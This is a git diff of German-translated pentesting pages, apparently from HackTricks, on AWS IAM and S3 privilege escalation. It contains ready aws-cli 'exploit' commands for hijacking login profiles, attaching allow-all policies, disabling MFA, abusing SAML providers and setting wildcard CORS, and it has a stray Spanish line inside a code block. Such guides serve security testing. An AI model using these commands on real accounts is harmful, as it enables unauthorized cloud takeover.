+**Auswirkung:** Direkte privilege escalation durch das Übernehmen erweiterter Berechtigungen eines anderen Benutzers.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Ermöglicht das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu einer direkten privilege escalation führt.
+Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu direkter privilege escalation führt.
**Exploit for Creation:**
```bash
@@ -55,23 +55,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "any" Benutzer.
+**Auswirkung:** Direkte Privilegienerhöhung durch Anmeldung als "beliebiger" Benutzer.
### **`iam:UpdateAccessKey`**
-Ermöglicht das Reaktivieren eines deaktivierten access key, was zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten access key ist.
+Ermöglicht das Aktivieren eines deaktivierten access key, was möglicherweise zu unbefugtem Zugriff führen kann, wenn der Angreifer den deaktivierten access key besitzt.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
+**Impact:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Ermöglicht das Generieren oder Zurücksetzen von credentials für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
+Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces) und übernimmt dabei die Berechtigungen des zugehörigen Benutzers.
-**Exploit zur Erstellung:**
+**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
@@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Auswirkung:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
+**Auswirkung:** Direkte Privilegieneskalation innerhalb der Service-Berechtigungen des Benutzers.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert dadurch direkt Rechte, indem die Berechtigungen der angehängten Policy übernommen werden.
+Ermöglicht das Anhängen von Richtlinien an Benutzer oder Gruppen und eskaliert dadurch direkt Privilegien, indem die Berechtigungen der angehängten Richtlinie übernommen werden.
**Exploit für Benutzer:**
```bash
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Auswirkung:** Direkte Rechteeskalation auf alles, was die Richtlinie gewährt.
+**Auswirkung:** Direkte privilege escalation auf alles, was die Richtlinie gewährt.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Ermöglicht das Anhängen oder Einfügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht so eine direkte Rechteeskalation durch das Gewähren zusätzlicher Berechtigungen.
+Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt damit direkte privilege escalation durch die Gewährung zusätzlicher Berechtigungen.
**Exploit for Role:**
```bash
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Sie können eine Richtlinie wie folgt verwenden:
+Sie können eine Richtlinie wie die folgende verwenden:
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ Sie können eine Richtlinie wie folgt verwenden:
]
}
```
-**Auswirkung:** Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Policies.
+**Auswirkung:** Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.
### **`iam:AddUserToGroup`**
-Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und damit Privilegien zu eskalieren, indem die Berechtigungen der Gruppe übernommen werden.
+Ermöglicht das Hinzufügen des eigenen Kontos zu einer IAM-Gruppe, wodurch Privilegien eskaliert werden, indem die Berechtigungen der Gruppe übernommen werden.
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
+**Auswirkung:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
### **`iam:UpdateAssumeRolePolicy`**
-Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch das Annehmen der Rolle und die Übernahme ihrer zugehörigen Berechtigungen möglich wird.
+Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle und damit das Übernehmen der Rolle sowie deren zugehöriger Berechtigungen.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
+Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
```json
{
"Version": "2012-10-17",
@@ -169,19 +169,19 @@ Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt,
Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
-**Exploit für SSH Key Upload:**
+**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit für MFA-Deaktivierung:**
+**Exploit zur Deaktivierung von MFA:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**Auswirkung:** Indirekte privilege escalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
+**Impact:** Indirekte privilege escalation durch das Aktivieren von CodeCommit-Zugriff oder das Deaktivieren des MFA-Schutzes.
### **`iam:ResyncMFADevice`**
-Ermöglicht die Resynchronisierung eines MFA-Geräts und kann durch Manipulation des MFA-Schutzes potenziell zu einer indirekten privilege escalation führen.
+Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirekter privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
**Bash-Befehl:**
```bash
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Mit diesen Berechtigungen kannst du **die XML-Metadaten der SAML-Verbindung ändern**. Dann könntest du die **SAML federation** missbrauchen, um einen **login** mit jeder **role, die ihr vertraut**, durchzuführen.
+Mit diesen Berechtigungen kannst du die **XML-Metadaten der SAML-Verbindung ändern**. Anschließend könntest du die **SAML federation** missbrauchen, um dich mit jeder **role, die der Verbindung vertraut**, einzuloggen.
-Beachte, dass dadurch **legit users won't be able to login**. Du könntest jedoch das XML erhalten, es durch dein eigenes ersetzen, login und die vorherige Konfiguration wiederherstellen.
+Beachte, dass dabei **legit users sich nicht einloggen können**. Du kannst jedoch das XML erhalten, dein eigenes einsetzen, dich einloggen und die vorherige Konfiguration wiederherstellen.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Ein Tool, das SAML metadata generieren kann und sich mit einer angegebenen role anmelden
+> TODO: Ein Tool, das SAML-Metadaten erzeugen und sich mit einer angegebenen Rolle anmelden kann
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Unsicher darüber) Wenn ein attacker diese **permissions** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in allen roles anzumelden, die dem provider vertrauen.
+(Unsicher darüber) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen und sich damit in allen Rollen anmelden, die dem Provider vertrauen.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Diese Berechtigung ermöglicht einem attacker, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise dessen Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch die bestehenden Berechtigungen eingeschränkt sind.
+Diese permissions erlauben einem attacker, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise dessen privileges zu eskalieren, indem es ihm ermöglicht, actions auszuführen, die normalerweise durch seine bestehenden permissions eingeschränkt sind.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
-## Referenzen
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Ein Akteur mit iam:PutRolePermissionsBoundary kann für eine bestehende Rolle eine Berechtigungsgrenze festlegen. Das Risiko entsteht, wenn diese Person die Boundary einer Rolle ändert: Sie kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder — falls sie eine zu großzügige Boundary anhängt — die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+## Quellen
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index ee4b635a0..deba018e4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Ein Angreifer mit diesen Berechtigungen für relevante Buckets könnte Ressourcen übernehmen und Privilegien eskalieren.
+Ein Angreifer mit diesen Berechtigungen für interessante Buckets könnte Ressourcen kapern und Privilegien eskalieren.
-Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit folgender Policy gewährt werden:
+Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Deployment kapern. Der Zugriff kann mit folgender Richtlinie gewährt werden:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,29 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudform
]
}
```
-Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die Template in den bucket hochgeladen wird, bis zum Moment, in dem die Template bereitgestellt wird**. Ein Angreifer könnte einfach eine **lambda function** in seinem Account erstellen, die **ausgelöst wird, wenn eine bucket-Notification gesendet wird**, und den **Inhalt** dieses **buckets** kapert.
+Und der hijack ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die template in den bucket hochgeladen wird, bis zu dem Moment, in dem die template deployed wird** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **triggered, wenn eine bucket notification gesendet wird**, und den **content** dieses **bucket** hijacks.
.png>)
Das Pacu-Modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kann verwendet werden, um diesen Angriff zu automatisieren.\
-Für weitere Informationen siehe die Originalforschung: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Für mehr Informationen siehe die Original-Analyse: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Das sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **Konfigurationsdateien** zu speichern.\
-Ein Angreifer mit **Lesezugriff** darauf könnte **sensible Informationen** finden.\
-Ein Angreifer mit **Schreibzugriff** könnte die Daten **manipulieren, um einen Service zu missbrauchen und versuchen, Privilegien zu eskalieren**.\
+Dies sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **config files** abzulegen.\
+Ein Angreifer mit **read access** darauf könnte **sensitive information** darin finden.\
+Ein Angreifer mit **write access** könnte **die Daten manipulieren, um einen Dienst zu missbrauchen und versuchen, privileges zu escalaten**.\
Hier einige Beispiele:
-- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**.
+- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **arbitrary code innerhalb der EC2-Instanz auszuführen**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Es ist sehr üblich, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files in den Blob-Storage von Cloud-Providern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine State-Datei ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Normalerweise hat jedes AWS-Konto so einen Bucket, um die State-Dateien zu speichern, die den Zustand des Kontos aufzeigen.
-Auch in realen Accounts haben in der Regel fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
+Es ist sehr verbreitet, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files im Blob-Storage von Cloud-Anbietern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine state file ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Üblicherweise hat jedes AWS-Konto einen solchen Bucket, um die state files zu speichern, die den Zustand des Kontos anzeigen. Außerdem haben in realen Konten fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
-Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erreichen kannst – meist `AdministratorAccess`, was dich zum Admin des Cloud-Accounts macht. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` legitime Ressourcen löschen lässt.
+Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erlangen kannst — meist `AdministratorAccess`, wodurch du zum Administrator des Cloud-Kontos wirst. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` dazu bringst, legitime Ressourcen zu löschen.
-Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code:
+Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der Seite *Terraform Security* für direkt nutzbaren Exploit-Code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +64,7 @@ Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terrafo
### `s3:PutBucketPolicy`
-Ein Angreifer, der **aus demselben Account** stammen muss (ansonsten wird der Fehler `The specified method is not allowed will trigger` ausgelöst), kann sich mit dieser Berechtigung zusätzliche Rechte auf den/die bucket(s) gewähren, die ihm das Lesen, Schreiben, Ändern, Löschen und Offenlegen von Buckets erlauben.
+Ein Angreifer, der **aus demselben account** stammen muss — andernfalls tritt der Fehler `The specified method is not allowed` auf — kann sich mit dieser Berechtigung selbst weitere Rechte auf den Bucket(s) gewähren, die es ihm erlauben, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Ein attacker könnte diese permissions missbrauchen, um sich mehr Zugriff auf bestimmte objects in buckets zu verschaffen.
+Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich mehr Zugriff auf bestimmte Objekte in Buckets zu verschaffen.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Von einem Angreifer mit diesen Berechtigungen wird erwartet, dass er einer bestimmten Objektversion eine ACL zuweisen kann.
+Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, eine Acl auf eine bestimmte Objektversion zu setzen.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Ein Angreifer mit der Berechtigung s3:PutBucketCORS kann die CORS (Cross-Origin Resource Sharing)-Konfiguration eines Buckets ändern, die steuert, welche Webdomains auf dessen Endpunkte zugreifen dürfen. Setzt er eine zu großzügige Richtlinie, könnte jede Website direkte Anfragen an den Bucket senden und Antworten im Browser auslesen.
+
+Das bedeutet, dass ein authentifizierter Benutzer einer vom Bucket gehosteten Webanwendung, wenn er die Website des Angreifers besucht, potenziell ausgenutzt werden kann: Der Angreifer könnte die permissive CORS-Richtlinie ausnutzen und je nach Anwendung auf Profildaten des Benutzers zugreifen oder sogar das Benutzerkonto übernehmen.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)